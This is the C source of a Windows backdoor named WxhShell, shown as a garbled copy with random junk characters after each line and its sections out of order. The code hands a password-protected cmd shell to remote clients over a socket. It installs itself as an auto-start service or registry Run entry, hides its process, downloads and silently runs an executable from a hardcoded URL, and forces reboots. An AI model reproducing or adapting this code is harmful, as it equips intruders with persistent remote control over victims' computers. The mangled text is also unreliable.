    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :/yr(V{  
    else { [6,]9|~  
    closesocket(wsh); J'G`=m"-'  
    ExitThread(0); .R$+#_  
    } %# Wg^l '  
    break; 5CY@R  
    } YA^wUx  
  // 获取shell <FcPxZ  
  case 's': { *f0.=?  
    CmdShell(wsh); p0[,$$pM  
    closesocket(wsh); |"Xi%CQ2  
    ExitThread(0); E]u'MX  
    break; 5oT2)yz  
  } m' Ekp  
  // 退出 L#7)X5a__  
  case 'x': { .q_uJ_qu-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F9u:8;\@`  
    CloseIt(wsh); n3l"L|W^(<  
    break; s{"`=dKT  
    } I |<+'G  
  // 离开 9z| >roNe  
  case 'q': { XvA0nEi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &{%S0\K Y  
    closesocket(wsh); `L"p)5H  
    WSACleanup(); ga{25q}"  
    exit(1); :]u}x Dv3  
    break; Ry8WNVO}R  
        } d}wa[WRv   
  } =& Tu`m  
  } 6uCk0 B|  
BqLtTo?'  
  // 提示信息 "x:)$@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o/  x5  
} wQdW lon  
  } !ulLGmUn  
/,rF$5G,  
  return; #5ohmp,u  
} SQ^^1.V&/Y  
'&pf  
// shell模块句柄 ld!6|~0U  
int CmdShell(SOCKET sock) O)U$Ef  
{ ~7ATt8T  
STARTUPINFO si; /8$1[[[  
ZeroMemory(&si,sizeof(si)); r.a9W? (E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o%4&1^ Vg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m mJ)m  
PROCESS_INFORMATION ProcessInfo; XZep7d}  
char cmdline[]="cmd"; [KimY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G3_mWppH  
  return 0; YA;8uMqh;  
} XD+cs.{5  
* 0&i'0>  
// 自身启动模式 #>=/15:  
int StartFromService(void) t5X^(@q4N  
{ +}(B856+  
typedef struct $^NWzc  
{ WfTdD.Xx  
  DWORD ExitStatus; uG(~m_7Hx  
  DWORD PebBaseAddress; ,syA()  
  DWORD AffinityMask; {o5K?Pb  
  DWORD BasePriority; 9A} kkMB:  
  ULONG UniqueProcessId; j0pvLZjM  
  ULONG InheritedFromUniqueProcessId; :_~PU$%0  
}   PROCESS_BASIC_INFORMATION; ,8J*S  
LKf5r,C  
PROCNTQSIP NtQueryInformationProcess; !aW*dD61  
%8} ksl07  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,$6MM6W;-F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JIY ^N9_  
hyvV%z Z  
  HANDLE             hProcess; E9Xk8w'+  
  PROCESS_BASIC_INFORMATION pbi; /_k hFw  
,],JI|Rl8c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kXZV%mnT7  
  if(NULL == hInst ) return 0; UB&S 2g  
ZTBFV/{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E!}-qbH^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S!I <m&Cgc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vU$O{|J  
TJw.e/  
  if (!NtQueryInformationProcess) return 0; Pu%>j'A  
uDE91.pUkr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Sj{rvW  
  if(!hProcess) return 0; @'<j!CqQ o  
S^Wqa:;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SG|i/K|7  
yz2oS|0'  
  CloseHandle(hProcess); R 6yvpH  
602eLV)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xZ @O"*{  
if(hProcess==NULL) return 0; *Xt c`XH  
0p>:rU~  
HMODULE hMod; 6B;_uIq5  
char procName[255]; P=sK+}5`q  
unsigned long cbNeeded; PM@s}(  
VrGb;L'[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .{]c&Ef+f  
8 {4D|o#O  
  CloseHandle(hProcess); $L#Z?76v  
qiKtR  
if(strstr(procName,"services")) return 1; // 以服务启动 5.K$ X$+7}  
ETWmeMN  
  return 0; // 注册表启动 #PLB$$  
} a4a[pX,5  
a@=36gx)  
// 主模块 :{N3o:  
int StartWxhshell(LPSTR lpCmdLine) DHumBnQ  
{ !,JT91  
  SOCKET wsl; tCCi|*P G  
BOOL val=TRUE; iB`WXU  
  int port=0; Ye=7Y57Nr  
  struct sockaddr_in door; hzPB~obC  
jQ\ MB  
  if(wscfg.ws_autoins) Install(); zS"zb  
b{|/J<Fe  
port=atoi(lpCmdLine); >/HU'  
/glnJ3   
if(port<=0) port=wscfg.ws_port; U`nS` p  
|e-+xX|;  
  WSADATA data; SSsQu^A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Ye#NPOI  
4FHX#`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f({-j% m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]I' xLh`  
  door.sin_family = AF_INET; OD/P*CQ_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q(PT'z  
  door.sin_port = htons(port); >A(?Pn{|a  
qT>& v_<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DdS3<3]A  
closesocket(wsl); !e\R;bYM  
return 1; d t0E0i  
} `~+a=Q  
O7'^*"S  
  if(listen(wsl,2) == INVALID_SOCKET) { BM$tywC  
closesocket(wsl); , a_{ Y+  
return 1; H.mQbD`X  
} @61N[  
  Wxhshell(wsl); _BLSI8!N@  
  WSACleanup(); >5vl{{,$K  
er7/BE&  
return 0; 9oxf)pjw  
Rb}&c)4  
} f}ij=Y9  
bvu<IXX=2  
// 以NT服务方式启动 ~Ow23N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8J?`_  
{ L\?g/l+k  
DWORD   status = 0; W;g+R-  
  DWORD   specificError = 0xfffffff; 5<BV\'  
E4aCGg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'W2$wN+P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TNT"2FoBd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GKx,6E#JM  
  serviceStatus.dwWin32ExitCode     = 0; @P5@ &G  
  serviceStatus.dwServiceSpecificExitCode = 0; VJtTbt;>  
  serviceStatus.dwCheckPoint       = 0; <9.7gwzE  
  serviceStatus.dwWaitHint       = 0; ~rJw$v  
otH[?c?BT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q2pboZ86  
  if (hServiceStatusHandle==0) return; EC!Cv;'  
k|c0tvp  
status = GetLastError(); YGpp:8pen  
  if (status!=NO_ERROR) x7kg_`\U  
{ Jq<`j<'9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u.4vp]eU  
    serviceStatus.dwCheckPoint       = 0; X%1.mTU~K  
    serviceStatus.dwWaitHint       = 0; FITaL@{c  
    serviceStatus.dwWin32ExitCode     = status; wOkJ:k   
    serviceStatus.dwServiceSpecificExitCode = specificError; l=?y=2+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2)$|KC  
    return; /(pD^D  
  } IoHkcP[H  
}%d-U;Tt2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tBI+uu aa2  
  serviceStatus.dwCheckPoint       = 0; s=Q*|  
  serviceStatus.dwWaitHint       = 0; '\E{qlI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B|$13dHfa  
} aKzD63  
~Q 9)Q  
// 处理NT服务事件,比如:启动、停止 A*U'SCg(G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B5r_+?=2e  
{ bY U+-|54  
switch(fdwControl) ]S aH/$  
{ z'D{:q  
case SERVICE_CONTROL_STOP: 2m_M9e\  
  serviceStatus.dwWin32ExitCode = 0; ` +UMZc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :#htOsP  
  serviceStatus.dwCheckPoint   = 0; $$f$$  
  serviceStatus.dwWaitHint     = 0; w:xKgng=L  
  { >!F,y3"5S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ 14DTjj  
  } :;Rt#!  
  return; K 0H!Ds9  
case SERVICE_CONTROL_PAUSE: % j{pz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^o\p|f>f  
  break; q/-j`'A_pb  
case SERVICE_CONTROL_CONTINUE: 6|qvo+%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z\d2T%^:g(  
  break; |(v=1#i  
case SERVICE_CONTROL_INTERROGATE: Ngc+<  
  break; "{"2h>o#D}  
}; @M?EgVmW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QLU; .&  
} .FRF<_`^  
E!l1a5qB  
// 标准应用程序主函数 ,[1`'nN@g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y8{1?LO  
{ #LgoKiP!Y  
:!!`!*!JH  
// 获取操作系统版本 R+hS;F nh%  
OsIsNt=GetOsVer(); 8'Bl=C|0X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U (7P X`1  
{ (,vm}iFL  
  // 从命令行安装 ?yeC j1X  
  if(strpbrk(lpCmdLine,"iI")) Install(); U(LR('-h  
gc) 3  
  // 下载执行文件 6WcbJ_"mq  
if(wscfg.ws_downexe) { gF5EtdN?|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E'6P>6l5  
  WinExec(wscfg.ws_filenam,SW_HIDE); ua-|4@YO  
} \ySc uT  
U2nRgd  
if(!OsIsNt) { IjAity.Xrq  
// 如果时win9x,隐藏进程并且设置为注册表启动 {5-{f=Rk  
HideProc(); 31Mc<4zI8  
StartWxhshell(lpCmdLine); y'/9KrV T  
} 6ng g*kE<  
else Lf M(DK  
  if(StartFromService()) =JH,RQ *  
  // 以服务方式启动 &bu`\|V  
  StartServiceCtrlDispatcher(DispatchTable); .]c:Zt}P  
else @?? 6)C  
  // 普通方式启动 RUh{^3;~  
  StartWxhshell(lpCmdLine); C,u.!g;lm  
N6%q%7F.:  
return 0; x:lf=D lA  
} ) <~7<.0  
m uY^Fx  
0N_Da N  
Zotv]P2k  
=========================================== XX6)(  
{v 0(0  
"ZW*O{  
3l[hkRFu`  
-bfd><bs  
o!S_j^p[C  
" - [j0B|cwG  
-.{7;6:(k  
#include <stdio.h> Big-)7?  
#include <string.h> r'?&VS-Cj  
#include <windows.h> +?tNly`  
#include <winsock2.h> uGWk(qn  
#include <winsvc.h> Wfy+7$14M  
#include <urlmon.h> o*'3N/D~  
)dcGV$4t[  
#pragma comment (lib, "Ws2_32.lib") 7?s>u937  
#pragma comment (lib, "urlmon.lib") 5w3'yA<vE  
t[~i})yS  
#define MAX_USER   100 // 最大客户端连接数 \v Go5`  
#define BUF_SOCK   200 // sock buffer 4R6 .GO  
#define KEY_BUFF   255 // 输入 buffer Xw)+5+t"{  
JJXf%o0yq  
#define REBOOT     0   // 重启 7lu;lAAP  
#define SHUTDOWN   1   // 关机  tvILLR  
2=RDAipf59  
#define DEF_PORT   5000 // 监听端口  >TgO|mq  
NunT2JP.  
#define REG_LEN     16   // 注册表键长度 d[de5Xra  
#define SVC_LEN     80   // NT服务名长度 3:S"!F  
FliN@RNo  
// 从dll定义API V,}cDT>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ww*F}}(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0)#I5tEre  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?##GY;#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sob+l'U$  
WJWhx4Hk  
// wxhshell配置信息 Lm/^ 8V+  
struct WSCFG { 1Mqz+@~11  
  int ws_port;         // 监听端口 fpUX @b  
  char ws_passstr[REG_LEN]; // 口令 ;x"B ):?\  
  int ws_autoins;       // 安装标记, 1=yes 0=no klKt^h-  
  char ws_regname[REG_LEN]; // 注册表键名 Bvwk6NBN  
  char ws_svcname[REG_LEN]; // 服务名 6|9fcIh]B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F7d f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 42~;/4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =Ur/v'm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2C>PxA6l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <e"2<qVi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #cA}B L!3  
zKZ6Qjd8!  
}; SVJ3!1B,  
^?,/_3  
// default Wxhshell configuration ;J<kG@  
struct WSCFG wscfg={DEF_PORT, KMv|;yXYj4  
    "xuhuanlingzhe", /<5/gV 1Q  
    1, 4V=dD<3m  
    "Wxhshell", ,}<v:!  
    "Wxhshell", SU1, +7"  
            "WxhShell Service", F!U+IztZ   
    "Wrsky Windows CmdShell Service", nt7ui*k  
    "Please Input Your Password: ", =i.[|g"  
  1, ) ":~`Z*@  
  "http://www.wrsky.com/wxhshell.exe", |tmD`ndO  
  "Wxhshell.exe" b`IC)xN$  
    }; umj7-fh  
hFKYRZtP.8  
// 消息定义模块 {3?g8e]zr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6SpkeXL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }b44^iL$9y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /OZF3Pft  
char *msg_ws_ext="\n\rExit."; 2'++G[z  
char *msg_ws_end="\n\rQuit."; UJQ!~g.y]  
char *msg_ws_boot="\n\rReboot..."; Z0x N9S  
char *msg_ws_poff="\n\rShutdown..."; /dCZoz~~T  
char *msg_ws_down="\n\rSave to "; |_-FQ~Hf F  
`XTu$+  
char *msg_ws_err="\n\rErr!"; 3)=$BSC%  
char *msg_ws_ok="\n\rOK!"; D[<8(~VP  
!j- 7,  
char ExeFile[MAX_PATH]; >:s:`Au  
int nUser = 0; Qf"gH <vT  
HANDLE handles[MAX_USER]; [!v:fj  
int OsIsNt; 3ZC[H'|  
7;Wj ^#  
SERVICE_STATUS       serviceStatus; \jC}>9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k38Ds_sW6d  
o rEo$e<  
// 函数声明 >%xJ e'  
int Install(void); TkK- r(=  
int Uninstall(void); M6?*\ 9E  
int DownloadFile(char *sURL, SOCKET wsh); !X8:#a(  
int Boot(int flag); a7ZPV1k  
void HideProc(void); kfn5y#6NZ  
int GetOsVer(void); k;"=y )@o  
int Wxhshell(SOCKET wsl); h:l\kr|9  
void TalkWithClient(void *cs); 2;A].5>l  
int CmdShell(SOCKET sock); ,]>Eg6B,u  
int StartFromService(void); nF05p2Mh  
int StartWxhshell(LPSTR lpCmdLine); {>Zc#U'  
]zu" x9-`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -\LB>\;qn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~v2_vEu}JX  
D=e&"V a  
// 数据结构和表定义 TfMuQi'>  
SERVICE_TABLE_ENTRY DispatchTable[] = op[5]tjL  
{ ^oj)#(3C  
{wscfg.ws_svcname, NTServiceMain}, v50=D/&w  
{NULL, NULL} r..\(r  
}; %U'YOE6  
N[czraFBD}  
// 自我安装 c 8#A^q}  
int Install(void) W0X?"Ms|a  
{ 5`0tG;  
  char svExeFile[MAX_PATH]; ]^"*Fdn  
  HKEY key; i9_ZK/*  
  strcpy(svExeFile,ExeFile); :o=[Zp~B4d  
m"NZ;*d'  
// 如果是win9x系统,修改注册表设为自启动 |nB2X;K5~  
if(!OsIsNt) { \DpXs[1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8hGp?Ihu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |0dmdrKD  
  RegCloseKey(key); #R@{Bu=C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? %F*{3IP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (`xhh  
  RegCloseKey(key); ?> }bg  
  return 0; 2\W[ ItxL0  
    } ]V?\Qv/.=  
  } ](:aDHa  
} q*,];j/>k  
else { YcT!`B   
&ciU`//`  
// 如果是NT以上系统,安装为系统服务 ]k5l]JB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8I3"68c_a  
if (schSCManager!=0) ?$v#;n?@I  
{ h`,dg%J*B  
  SC_HANDLE schService = CreateService [<7Hy,xr_  
  ( cOq^}Ohan  
  schSCManager, _da>=^hFJ  
  wscfg.ws_svcname, W& w -yZ  
  wscfg.ws_svcdisp, pX+`qxF\  
  SERVICE_ALL_ACCESS, r1 )Og  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R6*:Us0\FJ  
  SERVICE_AUTO_START, #O* ytZ  
  SERVICE_ERROR_NORMAL, noV]+1#"V  
  svExeFile, =.f]OWehu.  
  NULL, (@>X!]{$  
  NULL, x<4-Q6'{S  
  NULL, nJNdq`y2  
  NULL, T dlF~ca|  
  NULL eo4;?z  
  ); 9=89)TrY  
  if (schService!=0) /w$<0hH#'8  
  { y7txIe!<5  
  CloseServiceHandle(schService);  Q47Rriw  
  CloseServiceHandle(schSCManager); + v{<<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]z;%%'gW6  
  strcat(svExeFile,wscfg.ws_svcname); p=V (_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vE^Hk!^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L]I)E` s  
  RegCloseKey(key); 5v<BB`XWp  
  return 0; _0<qS{RW  
    } XOAZ  
  } .A//Q|ot!  
  CloseServiceHandle(schSCManager); <:fjWy  
} dnSjXyjFB  
} Ni7~ Mjjt  
AtGk _tpVZ  
return 1; JL=MlZ  
} k.NgE/;3  
|9$K'+'  
// 自我卸载 t 5g@t0$  
int Uninstall(void) wK!4:]rhG  
{ 18jI6$DY  
  HKEY key; 7;ZSeQ yC  
+pURF&Pr  
if(!OsIsNt) { 3@f@4t@5V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S;[9 hI+  
  RegDeleteValue(key,wscfg.ws_regname); iqW T<WY  
  RegCloseKey(key); GcmN40  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pn<M`,F~q  
  RegDeleteValue(key,wscfg.ws_regname); -}_-#L!Q  
  RegCloseKey(key); -SnP+X!  
  return 0; n.Iu|,?q  
  } icLf; @  
} c;C:$B7  
} )/A IfH  
else { ) ,1MR=  
7+QD=j-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dOh`F~ Y)e  
if (schSCManager!=0) EW7heIT$  
{ tQ=M=BPZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rf?Q# KM\W  
  if (schService!=0) f^\qDvPur  
  { Q[O[,Rk  
  if(DeleteService(schService)!=0) { F?TxViL  
  CloseServiceHandle(schService); $$_aHkI j  
  CloseServiceHandle(schSCManager);  K6d9[;F  
  return 0; (P&~PJH  
  } -*t4(wT|j  
  CloseServiceHandle(schService); 794V(;sW,  
  } g&I/b/A  
  CloseServiceHandle(schSCManager); [x Xa3W  
} ="hh=x.5J  
} fS+Ga1CsH  
=QXLr+ y@  
return 1; bq{":[a  
} %9Br  
"$#X[ .  
// 从指定url下载文件 ]c%yib  
int DownloadFile(char *sURL, SOCKET wsh) })f4`$qf  
{ L8sHG$[  
  HRESULT hr; :\[W]  
char seps[]= "/"; 5RD\XgyN]  
char *token; $Kw)BnV  
char *file; R1u1  
char myURL[MAX_PATH]; ". #=_/op  
char myFILE[MAX_PATH]; T5(]/v,UT  
'i#m%D`dt  
strcpy(myURL,sURL); |>(d^<nR^v  
  token=strtok(myURL,seps); X~wkqI#d%E  
  while(token!=NULL)  JsAl;w  
  { 1ga.%M*  
    file=token; c]3% wL  
  token=strtok(NULL,seps); f6@fi`U ,  
  } n<\ W Vi  
xLhN3#^m  
GetCurrentDirectory(MAX_PATH,myFILE); S3EM6`q'  
strcat(myFILE, "\\"); F=)9z+l#  
strcat(myFILE, file); Ln-/ 9'^  
  send(wsh,myFILE,strlen(myFILE),0); ~H"Q5Hr   
send(wsh,"...",3,0); m!{Xuy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M5DQ{d<r  
  if(hr==S_OK) ?\[2Po]n  
return 0; O/b~TVA  
else } m5AO4:  
return 1; v%N/mL+5L  
aD)XxXwozm  
} lYEMrr!KQw  
M| r6"~i  
// 系统电源模块 el GP2x#:  
int Boot(int flag) g_'F(An  
{ r,F~Vwa}  
  HANDLE hToken; yM}b  
  TOKEN_PRIVILEGES tkp; R(_UR)G0 @  
<Th) &  
  if(OsIsNt) { {v{qPYNyh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "f/91gIzm'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  }NX9"}/  
    tkp.PrivilegeCount = 1; P5 f p!YF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?M?S+@(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "A\.`*6  
if(flag==REBOOT) { IRy!8A=X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fT9z 4[M  
  return 0; uLFnuK  
} rz/^_dV  
else { A0Z<1|6r*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &+F|v(|r  
  return 0; . !gkJ  
} LS1r}cl  
  } 5cLq6[uO  
  else {  Z|zyO-  
if(flag==REBOOT) { `-qRZh@E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ACQbw)tiv}  
  return 0; Gd^K,3:. T  
} Mle@.IIT  
else { *6uZ"4rb.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R7axm<PR=  
  return 0; =fA* b  
} MLD-uI10{  
} `U:W(\L  
N$u;Q(^  
return 1; 'nH/Z 84  
} (Uk1Rt*h  
eteq Mg}M  
// win9x进程隐藏模块 %{GYTc \'X  
void HideProc(void) |M&i#g<A;  
{ qm30,$\c`~  
`>M;f%s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c6zghP3dR  
  if ( hKernel != NULL ) v.Fq.  
  { b'i-/l$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B<)c{kj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oy+``W~  
    FreeLibrary(hKernel); "$)Nd+ny  
  } y k=o  
[AAG:`  
return; :5kgJu  
} &E98&[`7  
L0ZgxG3:g  
// 获取操作系统版本 l+# l\q%l  
int GetOsVer(void) 2Eq?^ )s  
{ ];@"-H  
  OSVERSIONINFO winfo; |a!AgvNF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P_:A%T  
  GetVersionEx(&winfo); l!Bc0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :=J~t@  
  return 1; 8NY $Iw  
  else yO@KjCv"  
  return 0; m~KGB"  
} kz4d"bTb  
Be?b| G!M  
// 客户端句柄模块 jpND"`Q  
int Wxhshell(SOCKET wsl) J LOTl.  
{ V=#L@ws  
  SOCKET wsh; Sw##C l#  
  struct sockaddr_in client; f"^G\  
  DWORD myID; "6.JpUf  
P bR6>'  
  while(nUser<MAX_USER) _Ju@<V$  
{ 2^-Z17Z}  
  int nSize=sizeof(client); @S#>:o|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }jj@A !N  
  if(wsh==INVALID_SOCKET) return 1; S@Rw+#QE  
-w8c;5X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Lm}x_  
if(handles[nUser]==0) g? 7%  
  closesocket(wsh); 7MX nt5qUh  
else AiUICf?{  
  nUser++; ( e> .hfrs  
  } WJH)>4M#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U}9B wr^  
A0L&p(i  
  return 0; q2qbbQ6H  
} Z<j(ZVO  
R-xWZRl>  
// 关闭 socket }%j@%Ep[  
void CloseIt(SOCKET wsh) +APf[ZpU  
{ I]S8:w![  
closesocket(wsh); eUiJl6^x  
nUser--; Vq7L:,N9  
ExitThread(0); JryCL]  
} XS!mtd<q  
oBVYgv)  
// 客户端请求句柄 &?.k-:iN  
void TalkWithClient(void *cs) eK }AVz}k  
{ t?[|oz:v  
{? -@`FR-  
  SOCKET wsh=(SOCKET)cs; +.i?UHNB  
  char pwd[SVC_LEN]; 2LpJxV  
  char cmd[KEY_BUFF]; ]?<j]u0J  
char chr[1]; O0?.$f9 s  
int i,j; !ueyVE$1  
D;@*  
  while (nUser < MAX_USER) { ?t LJe  
3EGQ$  
if(wscfg.ws_passstr) { oH/6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A aLj.HR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mp2J|!Lx  
  //ZeroMemory(pwd,KEY_BUFF); YyR)2j1O  
      i=0; MPt:bf#  
  while(i<SVC_LEN) { RfP>V/jy5  
x Bn+-V  
  // 设置超时 'n> ,+,&  
  fd_set FdRead; A?{ X5` y  
  struct timeval TimeOut; -eKi}e  
  FD_ZERO(&FdRead); e/@tU'$  
  FD_SET(wsh,&FdRead); k(n{$  
  TimeOut.tv_sec=8; 1i;-mYGaMn  
  TimeOut.tv_usec=0; a9rn[n1Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QN=a{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5@3[t`n'  
p7 b`Z>}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,o(7z^1Pe;  
  pwd=chr[0]; m&)5QX  
  if(chr[0]==0xd || chr[0]==0xa) { CJA5w[m  
  pwd=0; ,fS}c pV  
  break; Vl;GQe  
  } ( yk^%  
  i++; x\ieWF1  
    } Ux_tHyc/  
(P;z* "q  
  // 如果是非法用户,关闭 socket e(/~;"r{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZA@QP1  
} 8D[8(5  
V|.3Z\(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s^KUe%am0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p8<Y5:`  
 V"n0"\k,  
while(1) { eto3dJ!R  
M7"I]$|\  
  ZeroMemory(cmd,KEY_BUFF); /60 `"xH  
F"O{eK0T  
      // 自动支持客户端 telnet标准   mG[S"?C  
  j=0; FoM4QO  
  while(j<KEY_BUFF) { 'Z LGt#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); olPV"<;+pO  
  cmd[j]=chr[0]; T1bPI/  
  if(chr[0]==0xa || chr[0]==0xd) { UkrqHHpy  
  cmd[j]=0; c)8V^7=Q  
  break; JpN]j`  
  } 9tmYrhb$  
  j++; t ZUZNKODW  
    } u9>zC QRO  
Z&W|O>QTl  
  // 下载文件 )5Yv7x(K  
  if(strstr(cmd,"http://")) { L-_dq0T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fII;t-(x  
  if(DownloadFile(cmd,wsh)) =jvM$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o)'u%m  
  else QC.WR'.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IuDg-M[  
  } 96;17h$  
  else { v(^{ P  
c^P8)g Pf  
    switch(cmd[0]) { <)y44x|S'  
  jR7 , b5  
